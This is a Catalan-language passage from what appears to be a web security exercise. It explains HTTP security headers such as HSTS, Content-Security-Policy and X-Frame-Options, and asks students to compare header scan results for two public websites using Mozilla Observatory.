NOTA: "Strict-Transport-Security" és la capçalera responsable d'implementar HSTS, però n'hi ha més: "**Content-Security-Policy**" i "**X-XSS-Protection**", per exemple, són responsables d'evitar un tipus d'atacs anomenats XSS que estudiarem més endavant (concretament, de la primera en podeu trobar molta més informació a https://content-security-policy.com o a https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP), la capçalera "**X-Frame-Options**" és responsable d'evitar elements <iframe> -els quals poden provocar atacs de tipus "clickjacking" que estudiarem més endavant-, la capçalera "**X-Content-Type-Options**" permet assegurar que no hi hagi modificacions malintencionades en el valor de la capçalera "Content-Type" (la qual indica el tipus de recurs disponible: pàgina web, imatge, full css, etc i que si és manipulada convenientment pot explotar forats de seguretat) i la capçalera "**Referrer-Policy**" permet definir quina informació el navegador aportarà a la següent web que visiti, entre altres.
NOTA: Una guia molt completa per securitzar un servidor web és https://infosec.mozilla.org/guidelines/web_security

b) Vés a https://observatory.mozilla.org i fes la mateixa comprovació de l'apartat anterior per les mateixes web, "www.hola.com" i "www.marca.com". Observa els resultats mostrats a la pestanya "HTTPS Observatory": ¿hi ha alguna discrepància entre aquests resultats i els obtinguts a l'apartat anterior?

NOTA: Una altra pestanya molt interessant dels resultats obtinguts per aquesta pàgina és l'anomenada "TLS Observatory"